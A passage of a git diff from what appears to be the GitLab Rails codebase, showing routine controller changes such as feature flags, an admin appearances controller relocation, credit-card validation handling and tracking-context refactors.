- else
- render action: 'show'
- end
- end
-
- def update
- if @appearance.update(appearance_params)
- redirect_to admin_appearances_path, notice: _('Appearance was successfully updated.')
- else
- render action: 'show'
- end
- end
-
- def logo
- @appearance.remove_logo!
-
- @appearance.save
-
- redirect_to admin_appearances_path, notice: _('Logo was successfully removed.')
- end
-
- def header_logos
- @appearance.remove_header_logo!
- @appearance.save
-
- redirect_to admin_appearances_path, notice: _('Header logo was successfully removed.')
- end
-
- def favicon
- @appearance.remove_favicon!
- @appearance.save
-
- redirect_to admin_appearances_path, notice: _('Favicon was successfully removed.')
- end
-
- private
-
- # Use callbacks to share common setup or constraints between actions.
- def set_appearance
- @appearance = Appearance.current || Appearance.new
- end
-
- # Only allow a trusted parameter "white list" through.
- def appearance_params
- params.require(:appearance).permit(allowed_appearance_params)
- end
-
- def allowed_appearance_params
- %i[
- title
- description
- logo
- logo_cache
- header_logo
- header_logo_cache
- favicon
- favicon_cache
- new_project_guidelines
- profile_image_guidelines
- updated_by
- header_message
- footer_message
- message_background_color
- message_font_color
- email_header_and_footer_enabled
- ]
- end
-end
diff --git a/app/controllers/admin/application_settings/appearances_controller.rb b/app/controllers/admin/application_settings/appearances_controller.rb
new file mode 100644
index 00000000000..47b2356a60f
--- /dev/null
+++ b/app/controllers/admin/application_settings/appearances_controller.rb
@@ -0,0 +1,87 @@
+# frozen_string_literal: true
+
+class Admin::ApplicationSettings::AppearancesController < Admin::ApplicationController
+ before_action :set_appearance, except: :create
+
+ feature_category :navigation
+
+ def show
+ end
+
+ def preview_sign_in
+ render 'preview_sign_in', layout: 'devise'
+ end
+
+ def create
+ @appearance = Appearance.new(appearance_params)
+
+ if @appearance.save
+ redirect_to admin_application_settings_appearances_path, notice: _('Appearance was successfully created.')
+ else
+ render action: 'show'
+ end
+ end
+
+ def update
+ if @appearance.update(appearance_params)
+ redirect_to admin_application_settings_appearances_path, notice: _('Appearance was successfully updated.')
+ else
+ render action: 'show'
+ end
+ end
+
+ def logo
+ @appearance.remove_logo!
+
+ @appearance.save
+
+ redirect_to admin_application_settings_appearances_path, notice: _('Logo was successfully removed.')
+ end
+
+ def header_logos
+ @appearance.remove_header_logo!
+ @appearance.save
+
+ redirect_to admin_application_settings_appearances_path, notice: _('Header logo was successfully removed.')
+ end
+
+ def favicon
+ @appearance.remove_favicon!
+ @appearance.save
+
+ redirect_to admin_application_settings_appearances_path, notice: _('Favicon was successfully removed.')
+ end
+
+ private
+
+ # Use callbacks to share common setup or constraints between actions.
+ def set_appearance
+ @appearance = Appearance.current || Appearance.new
+ end
+
+ # Only allow a trusted parameter "white list" through.
+ def appearance_params
+ params.require(:appearance).permit(allowed_appearance_params)
+ end
+
+ def allowed_appearance_params
+ %i[
+ title
+ description
+ logo
+ logo_cache
+ header_logo
+ header_logo_cache
+ favicon
+ favicon_cache
+ new_project_guidelines
+ profile_image_guidelines
+ updated_by
+ header_message
+ footer_message
+ message_background_color
+ message_font_color
+ email_header_and_footer_enabled
+ ]
+ end
+end
diff --git a/app/controllers/admin/application_settings_controller.rb b/app/controllers/admin/application_settings_controller.rb
index 80cb04ac496..5ddeb9630ba 100644
--- a/app/controllers/admin/application_settings_controller.rb
+++ b/app/controllers/admin/application_settings_controller.rb
@@ -253,7 +253,7 @@ class Admin::ApplicationSettingsController < Admin::ApplicationController
end
def perform_update
- successful = ApplicationSettings::UpdateService
+ successful = ::ApplicationSettings::UpdateService
.new(@application_setting, current_user, application_setting_params)
.execute
diff --git a/app/controllers/admin/background_migrations_controller.rb b/app/controllers/admin/background_migrations_controller.rb
new file mode 100644
index 00000000000..c1dffbf423d
--- /dev/null
+++ b/app/controllers/admin/background_migrations_controller.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+class Admin::BackgroundMigrationsController < Admin::ApplicationController
+ feature_category :database
+
+ def index
+ @relations_by_tab = {
+ 'queued' => batched_migration_class.queued.queue_order,
+ 'failed' => batched_migration_class.failed.queue_order,
+ 'finished' => batched_migration_class.finished.queue_order.reverse_order
+ }
+
+ @current_tab = @relations_by_tab.key?(params[:tab]) ? params[:tab] : 'queued'
+ @migrations = @relations_by_tab[@current_tab].page(params[:page])
+ @successful_rows_counts = batched_migration_class.successful_rows_counts(@migrations.map(&:id))
+ end
+
+ private
+
+ def batched_migration_class
+ Gitlab::Database::BackgroundMigration::BatchedMigration
+ end
+end
diff --git a/app/controllers/admin/dashboard_controller.rb b/app/controllers/admin/dashboard_controller.rb
index 46e5a508a1b..ba24e3e619b 100644
--- a/app/controllers/admin/dashboard_controller.rb
+++ b/app/controllers/admin/dashboard_controller.rb
@@ -15,7 +15,7 @@ class Admin::DashboardController < Admin::ApplicationController
@groups = Group.order_id_desc.with_route.limit(10)
@notices = Gitlab::ConfigChecker::PumaRuggedChecker.check
@notices += Gitlab::ConfigChecker::ExternalDatabaseChecker.check
- @redis_versions = [Gitlab::Redis::Queues, Gitlab::Redis::SharedState, Gitlab::Redis::Cache].map(&:version).uniq
+ @redis_versions = [Gitlab::Redis::Queues, Gitlab::Redis::SharedState, Gitlab::Redis::Cache, Gitlab::Redis::TraceChunks].map(&:version).uniq
end
# rubocop: enable CodeReuse/ActiveRecord
diff --git a/app/controllers/admin/groups_controller.rb b/app/controllers/admin/groups_controller.rb
index 5b33ee78e8c..9abb244bc92 100644
--- a/app/controllers/admin/groups_controller.rb
+++ b/app/controllers/admin/groups_controller.rb
@@ -62,7 +62,7 @@ class Admin::GroupsController < Admin::ApplicationController
def members_update
member_params = params.permit(:user_ids, :access_level, :expires_at)
- result = Members::CreateService.new(current_user, member_params.merge(limit: -1, source: @group)).execute
+ result = Members::CreateService.new(current_user, member_params.merge(limit: -1, source: @group, invite_source: 'admin-group-page')).execute
if result[:status] == :success
redirect_to [:admin, @group], notice: _('Users were successfully added.')
diff --git a/app/controllers/admin/runners_controller.rb b/app/controllers/admin/runners_controller.rb
index 40ec68c1d46..bf9cfa3acff 100644
--- a/app/controllers/admin/runners_controller.rb
+++ b/app/controllers/admin/runners_controller.rb
@@ -4,6 +4,9 @@ class Admin::RunnersController < Admin::ApplicationController
include RunnerSetupScripts
before_action :runner, except: [:index, :tag_list, :runner_setup_scripts]
+ before_action only: [:index] do
+ push_frontend_feature_flag(:runner_list_view_vue_ui, current_user, default_enabled: :yaml)
+ end
feature_category :continuous_integration
diff --git a/app/controllers/admin/users_controller.rb b/app/controllers/admin/users_controller.rb
index 2e9229db56c..e397ecbadaf 100644
--- a/app/controllers/admin/users_controller.rb
+++ b/app/controllers/admin/users_controller.rb
@@ -209,6 +209,9 @@ class Admin::UsersController < Admin::ApplicationController
user_params_with_pass.merge!(password_params)
end
+ cc_validation_params = process_credit_card_validation_params(user_params_with_pass.delete(:credit_card_validation_attributes))
+ user_params_with_pass.merge!(cc_validation_params)
+
respond_to do |format|
result = Users::UpdateService.new(current_user, user_params_with_pass.merge(user: user)).execute do |user|
user.skip_reconfirmation!
@@ -253,6 +256,27 @@ class Admin::UsersController < Admin::ApplicationController
protected
+ def process_credit_card_validation_params(cc_validation_params)
+ return unless cc_validation_params && cc_validation_params[:credit_card_validated_at]
+
+ cc_validation = cc_validation_params[:credit_card_validated_at]
+
+ if cc_validation == "1" && !user.credit_card_validated_at
+ {
+ credit_card_validation_attributes: {
+ credit_card_validated_at: Time.zone.now
+ }
+ }
+
+ elsif cc_validation == "0" && user.credit_card_validated_at
+ {
+ credit_card_validation_attributes: {
+ _destroy: true
+ }
+ }
+ end
+ end
+
def paginate_without_count?
counts = Gitlab::Database::Count.approximate_counts([User])
@@ -330,7 +354,8 @@ class Admin::UsersController < Admin::ApplicationController
:twitter,
:username,
:website_url,
- :note
+ :note,
+ credit_card_validation_attributes: [:credit_card_validated_at]
]
end
diff --git a/app/controllers/application_controller.rb b/app/controllers/application_controller.rb
index 00b9fb1060d..07ecde1181f 100644
--- a/app/controllers/application_controller.rb
+++ b/app/controllers/application_controller.rb
@@ -263,7 +263,6 @@ class ApplicationController < ActionController::Base
headers['X-XSS-Protection'] = '1; mode=block'
headers['X-UA-Compatible'] = 'IE=edge'
headers['X-Content-Type-Options'] = 'nosniff'
- headers[Gitlab::Metrics::RequestsRackMiddleware::FEATURE_CATEGORY_HEADER] = feature_category
end
def default_cache_headers
@@ -456,19 +455,17 @@ class ApplicationController < ActionController::Base
end
def set_current_context(&block)
- Gitlab::ApplicationContext.with_context(
- # Avoid loading the auth_user again after the request. Otherwise calling
- # `auth_user` again would also trigger the Warden callbacks again
- user: -> { auth_user if strong_memoized?(:auth_user) },
+ Gitlab::ApplicationContext.push(
+ user: -> { context_user },
project: -> { @project if @project&.persisted? },
namespace: -> { @group if @group&.persisted? },
caller_id: caller_id,
remote_ip: request.ip,
- feature_category: feature_category) do
- yield
- ensure
- @current_context = Gitlab::ApplicationContext.current
- end
+ feature_category: feature_category
+ )
+ yield
+ ensure
+ @current_context = Gitlab::ApplicationContext.current
end
def set_locale(&block)
@@ -542,6 +539,12 @@ class ApplicationController < ActionController::Base
end
end
+ # Avoid loading the auth_user again after the request. Otherwise calling
+ # `auth_user` again would also trigger the Warden callbacks again
+ def context_user
+ auth_user if strong_memoized?(:auth_user)
+ end
+
def caller_id
"#{self.class.name}##{action_name}"
end
diff --git a/app/controllers/clusters/applications_controller.rb b/app/controllers/clusters/applications_controller.rb
index c533fe007d7..91003e9580d 100644
--- a/app/controllers/clusters/applications_controller.rb
+++ b/app/controllers/clusters/applications_controller.rb
@@ -47,7 +47,7 @@ class Clusters::ApplicationsController < Clusters::BaseController
end
def cluster_application_params
- params.permit(:application, :hostname, :pages_domain_id, :email, :stack, :modsecurity_enabled, :modsecurity_mode, :host, :port, :protocol, :waf_log_enabled, :cilium_log_enabled)
+ params.permit(:application, :hostname, :pages_domain_id, :email, :stack, :host, :port, :protocol)
end
def cluster_application_destroy_params
diff --git a/app/controllers/concerns/creates_commit.rb b/app/controllers/concerns/creates_commit.rb
index 7bfcda67aa2..0fb77e2aaf4 100644
--- a/app/controllers/concerns/creates_commit.rb
+++ b/app/controllers/concerns/creates_commit.rb
@@ -18,7 +18,7 @@ module CreatesCommit
@start_branch ||= @ref || @branch_name
- start_project = Feature.enabled?(:pick_into_project, @project, default_enabled: :yaml) ? @project_to_commit_into : @project
+ start_project = @project_to_commit_into
commit_params = @commit_params.merge(
start_project: start_project,
diff --git a/app/controllers/concerns/integrations_actions.rb b/app/controllers/concerns/integrations_actions.rb
index 09087257888..f1fa5c845e2 100644
--- a/app/controllers/concerns/integrations_actions.rb
+++ b/app/controllers/concerns/integrations_actions.rb
@@ -48,12 +48,11 @@ module IntegrationsActions
private
- # rubocop: disable Gitlab/ModuleWithInstanceVariables
+ # rubocop:disable Gitlab/ModuleWithInstanceVariables
def integration
@integration ||= find_or_initialize_non_project_specific_integration(params[:id])
- @service ||= @integration # TODO: remove references to @service https://gitlab.com/gitlab-org/gitlab/-/issues/329759
end
- # rubocop: enable Gitlab/ModuleWithInstanceVariables
+ # rubocop:enable Gitlab/ModuleWithInstanceVariables
def success_message
if integration.active?
diff --git a/app/controllers/concerns/membership_actions.rb b/app/controllers/concerns/membership_actions.rb
index 20861afbb88..8fd4e98d557 100644
--- a/app/controllers/concerns/membership_actions.rb
+++ b/app/controllers/concerns/membership_actions.rb
@@ -6,7 +6,7 @@ module MembershipActions
def create
create_params = params.permit(:user_ids, :access_level, :expires_at)
- result = Members::CreateService.new(current_user, create_params.merge({ source: membershipable })).execute
+ result = Members::CreateService.new(current_user, create_params.merge({ source: membershipable, invite_source: "#{plain_source_type}-members-page" })).execute
if result[:status] == :success
redirect_to members_page_url, notice: _('Users were successfully added.')
@@ -108,7 +108,7 @@ module MembershipActions
respond_to do |format|
format.html do
- redirect_path = member.request? ? member.source : [:dashboard, membershipable.class.to_s.tableize]
+ redirect_path = member.request? ? member.source : [:dashboard, membershipable.class.to_s.tableize.to_sym]
redirect_to redirect_path, notice: notice
end
@@ -140,39 +140,19 @@ module MembershipActions
end
def root_params_key
- case membershipable
- when Namespace
- :group_member
- when Project
- :project_member
- else
- raise "Unknown membershipable type: #{membershipable}!"
- end
+ raise NotImplementedError
end
def members_page_url
- case membershipable
- when Namespace
- polymorphic_url([membershipable, :members])
- when Project
- project_project_members_path(membershipable)
- else
- raise "Unknown membershipable type: #{membershipable}!"
- end
+ raise NotImplementedError
end
def source_type
- @source_type ||=
- begin
- case membershipable
- when Namespace
- _("group")
- when Project
- _("project")
- else
- raise "Unknown membershipable type: #{membershipable}!"
- end
- end
+ raise NotImplementedError
+ end
+
+ def plain_source_type
+ raise NotImplementedError
end
def requested_relations
diff --git a/app/controllers/concerns/wiki_actions.rb b/app/controllers/concerns/wiki_actions.rb
index fc4f9aa3409..b7f6691ef4b 100644
--- a/app/controllers/concerns/wiki_actions.rb
+++ b/app/controllers/concerns/wiki_actions.rb
@@ -177,7 +177,7 @@ module WikiActions
redirect_to wiki_path(wiki),
status: :found
else
- @error = response
+ @error = response.message
render 'shared/wikis/edit'
end
end
diff --git a/app/controllers/concerns/with_performance_bar.rb b/app/controllers/concerns/with_performance_bar.rb
index dc2265e063a..adfad4de4dd 100644
--- a/app/controllers/concerns/with_performance_bar.rb
+++ b/app/controllers/concerns/with_performance_bar.rb
@@ -20,12 +20,11 @@ module WithPerformanceBar
end
def cookie_or_default_value
- cookie_enabled = if cookies[:perf_bar_enabled].present?
- cookies[:perf_bar_enabled] == 'true'
- else
- cookies[:perf_bar_enabled] = 'true' if Rails.env.development?
- end
+ if cookies[:perf_bar_enabled].blank? && Rails.env.development?
+ cookies[:perf_bar_enabled] = 'true'
+ end
+ cookie_enabled = cookies[:perf_bar_enabled] == 'true'
cookie_enabled && Gitlab::PerformanceBar.allowed_for_user?(current_user)
end
end
diff --git a/app/controllers/confirmations_controller.rb b/app/controllers/confirmations_controller.rb
index e82500912fa..560369a8de4 100644
--- a/app/controllers/confirmations_controller.rb
+++ b/app/controllers/confirmations_controller.rb
@@ -13,7 +13,7 @@ class ConfirmationsController < Devise::ConfirmationsController
protected
def after_resending_confirmation_instructions_path_for(resource)
- return users_almost_there_path unless Feature.enabled?(:soft_email_confirmation)
+ return users_almost_there_path(email: resource.email) unless Feature.enabled?(:soft_email_confirmation)
stored_location_for(resource) || dashboard_projects_path
end
@@ -34,6 +34,10 @@ class ConfirmationsController < Devise::ConfirmationsController
def after_sign_in(resource)
after_sign_in_path_for(resource)
end
+
+ def context_user
+ resource
+ end
end
ConfirmationsController.prepend_mod_with('ConfirmationsController')
diff --git a/app/controllers/dashboard/projects_controller.rb b/app/controllers/dashboard/projects_controller.rb
index 7cb39625371..01bb930a51b 100644
--- a/app/controllers/dashboard/projects_controller.rb
+++ b/app/controllers/dashboard/projects_controller.rb
@@ -36,7 +36,7 @@ class Dashboard::ProjectsController < Dashboard::ApplicationController
# rubocop: disable CodeReuse/ActiveRecord
def starred
@projects = load_projects(params.merge(starred: true))
- .includes(:forked_from_project, :tags)
+ .includes(:forked_from_project, :topics)
@groups = []
diff --git a/app/controllers/groups/boards_controller.rb b/app/controllers/groups/boards_controller.rb
index e1f09d73739..3d8cdd766bf 100644
--- a/app/controllers/groups/boards_controller.rb
+++ b/app/controllers/groups/boards_controller.rb
@@ -8,7 +8,9 @@ class Groups::BoardsController < Groups::ApplicationController
before_action :assign_endpoint_vars
before_action do
push_frontend_feature_flag(:graphql_board_lists, group, default_enabled: false)
+ push_frontend_feature_flag(:board_multi_select, group, default_enabled: :yaml)
push_frontend_feature_flag(:swimlanes_buffered_rendering, group, default_enabled: :yaml)
+ push_frontend_feature_flag(:iteration_cadences, group, default_enabled: :yaml)
end
feature_category :boards
diff --git a/app/controllers/groups/email_campaigns_controller.rb b/app/controllers/groups/email_campaigns_controller.rb
index c1e3ce519cc..d4c7b31c4b8 100644
--- a/app/controllers/groups/email_campaigns_controller.rb
+++ b/app/controllers/groups/email_campaigns_controller.rb
@@ -16,7 +16,7 @@ class Groups::EmailCampaignsController < Groups::ApplicationController
def track_click
if Gitlab.com?
- message = Gitlab::Email::Message::InProductMarketing.for(@track).new(group: group, series: @series)
+ message = Gitlab::Email::Message::InProductMarketing.for(@track).new(group: group, user: current_user, series: @series)
data = {
namespace_id: group.id,
@@ -26,7 +26,7 @@ class Groups::EmailCampaignsController < Groups::ApplicationController
}
context = SnowplowTracker::SelfDescribingJson.new(EMAIL_CAMPAIGNS_SCHEMA_URL, data)
- ::Gitlab::Tracking.event(self.class.name, 'click', context: [context])
+ ::Gitlab::Tracking.event(self.class.name, 'click', context: [context], user: current_user, namespace: group)
else
::Users::InProductMarketingEmail.save_cta_click(current_user, @track, @series)
end
@@ -58,8 +58,9 @@ class Groups::EmailCampaignsController < Groups::ApplicationController
@series = params[:series]&.to_i
track_valid = @track.in?(Namespaces::InProductMarketingEmailsService::TRACKS.keys)
- series_valid = @series.in?(0..Namespaces::InProductMarketingEmailsService::INTERVAL_DAYS.size - 1)
+ return render_404 unless track_valid
- render_404 unless track_valid && series_valid
+ series_valid = @series.in?(0..Namespaces::InProductMarketingEmailsService::TRACKS[@track][:interval_days].size - 1)
+ render_404 unless series_valid
end
end
diff --git a/app/controllers/groups/group_links_controller.rb b/app/controllers/groups/group_links_controller.rb
index 3b775af9722..0655d779a4e 100644
--- a/app/controllers/groups/group_links_controller.rb
+++ b/app/controllers/groups/group_links_controller.rb
@@ -11,8 +11,8 @@ class Groups::GroupLinksController < Groups::ApplicationController
if shared_with_group
result = Groups::GroupLinks::CreateService
- .new(shared_with_group, current_user, group_link_create_params)
- .execute(group)
+ .new(group, shared_with_group, current_user, group_link_create_params)
+ .execute
return render_404 if result[:http_status] == 404
diff --git a/app/controllers/groups/group_members_controller.rb b/app/controllers/groups/group_members_controller.rb
index c2ac56ccc63..8d9059d271f 100644
--- a/app/controllers/groups/group_members_controller.rb
+++ b/app/controllers/groups/group_members_controller.rb
@@ -25,7 +25,6 @@ class Groups::GroupMembersController < Groups::ApplicationController
helper_method :can_manage_members?
def index
- preload_max_access
@sort = params[:sort].presence || sort_value_name
@members = GroupMembersFinder
@@ -54,14 +53,6 @@ class Groups::GroupMembersController < Groups::ApplicationController
private
- def preload_max_access
- return unless current_user
-
- # this allows the can? against admin type queries in this action to
- # only perform the query once, even if it is cached
- current_user.max_access_for_group[@group.id] = @group.max_member_access(current_user)
- end
-
def can_manage_members?
strong_memoize(:can_manage_members) do
can?(current_user, :admin_group_member, @group)
@@ -87,6 +78,22 @@ class Groups::GroupMembersController < Groups::ApplicationController
def membershipable_members
group.members
end
+
+ def plain_source_type
+ 'group'
+ end
+
+ def source_type
+ _("group")
+ end
+
+ def members_page_url
+ polymorphic_url([group, :members])
+ end
+
+ def root_params_key
+ :group_member
+ end
end
Groups::GroupMembersController.prepend_mod_with('Groups::GroupMembersController')
diff --git a/app/controllers/groups/registry/repositories_controller.rb b/app/controllers/groups/registry/repositories_controller.rb
index d914e0bffc6..3aaaf6ade6b 100644
--- a/app/controllers/groups/registry/repositories_controller.rb
+++ b/app/controllers/groups/registry/repositories_controller.rb
@@ -17,7 +17,7 @@ module Groups
.execute
.with_api_entity_associations
- track_package_event(:list_repositories, :container)
+ track_package_event(:list_repositories, :container, user: current_user, namespace: group)
serializer = ContainerRepositoriesSerializer
.new(current_user: current_user)
diff --git a/app/controllers/groups_controller.rb b/app/controllers/groups_controller.rb
index a755d242d4a..66816d4c587 100644
--- a/app/controllers/groups_controller.rb
+++ b/app/controllers/groups_controller.rb
@@ -33,6 +33,7 @@ class GroupsController < Groups::ApplicationController
before_action do
push_frontend_feature_flag(:vue_issuables_list, @group)
+ push_frontend_feature_flag(:iteration_cadences, @group, default_enabled: :yaml)
end
before_action :export_rate_limit, only: [:export, :download_export]
@@ -182,7 +183,12 @@ class GroupsController < Groups::ApplicationController
def download_export
if @group.export_file_exists?
- send_upload(@group.export_file, attachment: @group.export_file.filename)
+ if @group.export_archive_exists?
+ send_upload(@group.export_file, attachment: @group.export_file.filename)
+ else
+ redirect_to edit_group_path(@group),
+ alert: _('The file containing the export is not available yet; it may still be transferring. Please try again later.')
+ end
else
redirect_to edit_group_path(@group),
alert: _('Group export link has expired. Please generate a new export from your group settings.')
@@ -264,7 +270,8 @@ class GroupsController < Groups::ApplicationController
:default_branch_protection,
:default_branch_name,
:allow_mfa_for_subgroups,
- :resource_access_token_creation_allowed
+ :resource_access_token_creation_allowed,
+ :prevent_sharing_groups_outside_hierarchy
]
end
diff --git a/app/controllers/health_controller.rb b/app/controllers/health_controller.rb
index c6a02250896..99b0b775217 100644
--- a/app/controllers/health_controller.rb
+++ b/app/controllers/health_controller.rb
@@ -15,6 +15,7 @@ class HealthController < ActionController::Base
Gitlab::HealthChecks::Redis::CacheCheck,
Gitlab::HealthChecks::Redis::QueuesCheck,
Gitlab::HealthChecks::Redis::SharedStateCheck,
+ Gitlab::HealthChecks::Redis::TraceChunksCheck,
Gitlab::HealthChecks::GitalyCheck
].freeze
diff --git a/app/controllers/import/bulk_imports_controller.rb b/app/controllers/import/bulk_imports_controller.rb
index 48635c933af..9d6c0a003c4 100644
--- a/app/controllers/import/bulk_imports_controller.rb
+++ b/app/controllers/import/bulk_imports_controller.rb
@@ -10,7 +10,7 @@ class Import::BulkImportsController < ApplicationController
POLLING_INTERVAL = 3_000
- rescue_from BulkImports::Clients::Http::ConnectionError, with: :bulk_import_connection_error
+ rescue_from BulkImports::Clients::HTTP::ConnectionError, with: :bulk_import_connection_error
def configure
session[access_token_key] = configure_params[access_token_key]&.strip
@@ -78,7 +78,7 @@ class Import::BulkImportsController < ApplicationController
def query_params
query_params = {
top_level_only: true,
- min_access_level: Gitlab::Access::MAINTAINER
+ min_access_level: Gitlab::Access::OWNER
}
query_params[:search] = sanitized_filter_param if sanitized_filter_param
@@ -86,7 +86,7 @@ class Import::BulkImportsController < ApplicationController
end
def client
- @client ||= BulkImports::Clients::Http.new(
+ @client ||= BulkImports::Clients::HTTP.new(
uri: session[url_key],
token: session[access_token_key],
per_page: params[:per_page],
diff --git a/app/controllers/jira_connect/app_descriptor_controller.rb b/app/controllers/jira_connect/app_descriptor_controller.rb
index fee8b43aa6b..0de42ad2452 100644
--- a/app/controllers/jira_connect/app_descriptor_controller.rb
+++ b/app/controllers/jira_connect/app_descriptor_controller.rb
@@ -40,7 +40,7 @@ class JiraConnect::AppDescriptorController < JiraConnect::ApplicationController
private
HOME_URL = 'https://gitlab.com'
- DOC_URL = 'https://docs.gitlab.com/ee/user/project/integrations/jira.html#gitlab-jira-integration'
+ DOC_URL = 'https://docs.gitlab.com/ee/integration/jira/'
def modules
modules = {
diff --git a/app/controllers/omniauth_callbacks_controller.rb b/app/controllers/omniauth_callbacks_controller.rb
index 31f404a9974..9d7a1712698 100644
--- a/app/controllers/omniauth_callbacks_controller.rb
+++ b/app/controllers/omniauth_callbacks_controller.rb
@@ -287,6 +287,10 @@ class OmniauthCallbacksController < Devise::OmniauthCallbacksController
def fail_admin_mode_invalid_credentials
redirect_to new_admin_session_path, alert: _('Invalid login or password')
end
+
+ def context_user
+ current_user
+ end
end
OmniauthCallbacksController.prepend_mod_with('OmniauthCallbacksController')
diff --git a/app/controllers/passwords_controller.rb b/app/controllers/passwords_controller.rb
index 2c0ed825daa..c764f2d0459 100644
--- a/app/controllers/passwords_controller.rb
+++ b/app/controllers/passwords_controller.rb
@@ -67,6 +67,10 @@ class PasswordsController < Devise::PasswordsController
redirect_to new_user_session_path,
notice: I18n.t('devise.passwords.send_paranoid_instructions')
end
+
+ def context_user
+ resource
+ end
end
PasswordsController.prepend_mod_with('PasswordsController')
diff --git a/app/controllers/profiles_controller.rb b/app/controllers/profiles_controller.rb
index afebeafff7c..505608779ec 100644
--- a/app/controllers/profiles_controller.rb
+++ b/app/controllers/profiles_controller.rb
@@ -67,7 +67,7 @@ class ProfilesController < Profiles::ApplicationController
.order("created_at DESC")
.page(params[:page])
- Gitlab::Tracking.event(self.class.name, 'search_audit_event')
+ Gitlab::Tracking.event(self.class.name, 'search_audit_event', user: current_user)
end
# rubocop: enable CodeReuse/ActiveRecord
@@ -127,6 +127,7 @@ class ProfilesController < Profiles::ApplicationController
:include_private_contributions,
:timezone,
:job_title,
+ :pronouns,
status: [:emoji, :message, :availability]
)
end
diff --git a/app/controllers/projects/alert_management_controller.rb b/app/controllers/projects/alert_management_controller.rb
index ebe867d915d..34f9f361e43 100644
--- a/app/controllers/projects/alert_management_controller.rb
+++ b/app/controllers/projects/alert_management_controller.rb
@@ -3,6 +3,10 @@
class Projects::AlertManagementController < Projects::ApplicationController
before_action :authorize_read_alert_management_alert!
+ before_action(only: [:index]) do
+ push_frontend_feature_flag(:managed_alerts_deprecation, @project, default_enabled: :yaml)
+ end
+
feature_category :incident_management
def index
diff --git a/app/controllers/projects/analytics/cycle_analytics/summary_controller.rb b/app/controllers/projects/analytics/cycle_analytics/summary_controller.rb
new file mode 100644
index 00000000000..c51a5ac7b88
--- /dev/null
+++ b/app/controllers/projects/analytics/cycle_analytics/summary_controller.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+class Projects::Analytics::CycleAnalytics::SummaryController < Projects::ApplicationController
+ include CycleAnalyticsParams
+
+ respond_to :json
+
+ feature_category :planning_analytics
+
+ before_action :authorize_read_cycle_analytics!
+
+ def show
+ render json: project_level.summary
+ end
+
+ private
+
+ def project_level
+ @project_level ||= Analytics::CycleAnalytics::ProjectLevel.new(project: @project, options: options(allowed_params))
+ end
+
+ def allowed_params
+ params.permit(:created_after, :created_before)
+ end
+end
+
+Projects::Analytics::CycleAnalytics::SummaryController.prepend_mod_with('Projects::Analytics::CycleAnalytics::SummaryController')
diff --git a/app/controllers/projects/blob_controller.rb b/app/controllers/projects/blob_controller.rb
index dbe628cb43a..c6c9237292d 100644
--- a/app/controllers/projects/blob_controller.rb
+++ b/app/controllers/projects/blob_controller.rb
@@ -39,6 +39,7 @@ class Projects::BlobController < Projects::ApplicationController
before_action do
push_frontend_feature_flag(:refactor_blob_viewer, @project, default_enabled: :yaml)
+ push_frontend_feature_flag(:consolidated_edit_button, @project, default_enabled: :yaml)
end
def new
@@ -92,7 +93,7 @@ class Projects::BlobController < Projects::ApplicationController
@blob.load_all_data!
diffy = Diffy::Diff.new(@blob.data, @content, diff: '-U 3', include_diff_info: true)
diff_lines = diffy.diff.scan(/.*\n/)[2..-1]
- diff_lines = Gitlab::Diff::Parser.new.parse(diff_lines)
+ diff_lines = Gitlab::Diff::Parser.new.parse(diff_lines).to_a
@diff_lines = Gitlab::Diff::Highlight.new(diff_lines, repository: @repository).highlight
render layout: false
diff --git a/app/controllers/projects/boards_controller.rb b/app/controllers/projects/boards_controller.rb
index 9a3e9437426..43c9046f850 100644
--- a/app/controllers/projects/boards_controller.rb
+++ b/app/controllers/projects/boards_controller.rb
@@ -9,6 +9,8 @@ class Projects::BoardsController < Projects::ApplicationController
before_action do
push_frontend_feature_flag(:swimlanes_buffered_rendering, project, default_enabled: :yaml)
push_frontend_feature_flag(:graphql_board_lists, project, default_enabled: :yaml)
+ push_frontend_feature_flag(:board_multi_select, project, default_enabled: :yaml)
+ push_frontend_feature_flag(:iteration_cadences, project&.group, default_enabled: :yaml)
end
feature_category :boards
diff --git a/app/controllers/projects/branches_controller.rb b/app/controllers/projects/branches_controller.rb
index 5006aa75ce5..3be10559e80 100644
--- a/app/controllers/projects/branches_controller.rb
+++ b/app/controllers/projects/branches_controller.rb
@@ -152,7 +152,7 @@ class Projects::BranchesController < Projects::ApplicationController
ref_escaped = strip_tags(sanitize(params[:ref]))
Addressable::URI.unescape(ref_escaped)
else
- @project.default_branch || 'master'
+ @project.default_branch_or_main
end
end
@@ -185,18 +185,12 @@ class Projects::BranchesController < Projects::ApplicationController
# Here we get one more branch to indicate if there are more data we're not showing
limit = @overview_max_branches + 1
- if Feature.enabled?(:branch_list_keyset_pagination, project, default_enabled: :yaml)
- @active_branches =
- BranchesFinder.new(@repository, { per_page: limit, sort: sort_value_recently_updated })
- .execute(gitaly_pagination: true).select(&:active?)
- @stale_branches =
- BranchesFinder.new(@repository, { per_page: limit, sort: sort_value_oldest_updated })
- .execute(gitaly_pagination: true).select(&:stale?)
- else
- @active_branches, @stale_branches = BranchesFinder.new(@repository, sort: sort_value_recently_updated).execute.partition(&:active?)
- @active_branches = @active_branches.first(limit)
- @stale_branches = @stale_branches.first(limit)
- end
+ @active_branches =
+ BranchesFinder.new(@repository, { per_page: limit, sort: sort_value_recently_updated })
+ .execute(gitaly_pagination: true).select(&:active?)
+ @stale_branches =
+ BranchesFinder.new(@repository, { per_page: limit, sort: sort_value_oldest_updated })
+ .execute(gitaly_pagination: true).select(&:stale?)
@branches = @active_branches + @stale_branches
end
diff --git a/app/controllers/projects/ci/pipeline_editor_controller.rb b/app/controllers/projects/ci/pipeline_editor_controller.rb
index 6e31816bc99..ed1d5ca9594 100644
--- a/app/controllers/projects/ci/pipeline_editor_controller.rb
+++ b/app/controllers/projects/ci/pipeline_editor_controller.rb
@@ -6,6 +6,7 @@ class Projects::Ci::PipelineEditorController < Projects::ApplicationController
push_frontend_feature_flag(:pipeline_editor_empty_state_action, @project, default_enabled: :yaml)
push_frontend_feature_flag(:pipeline_editor_branch_switcher, @project, default_enabled: :yaml)
push_frontend_feature_flag(:pipeline_editor_drawer, @project, default_enabled: :yaml)
+ push_frontend_feature_flag(:schema_linting, @project, default_enabled: :yaml)
end
feature_category :pipeline_authoring
diff --git a/app/controllers/projects/commit_controller.rb b/app/controllers/projects/commit_controller.rb
index 863715429ff..3d2398f7ee3 100644
--- a/app/controllers/projects/commit_controller.rb
+++ b/app/controllers/projects/commit_controller.rb
@@ -19,9 +19,6 @@ class Projects::CommitController < Projects::ApplicationController
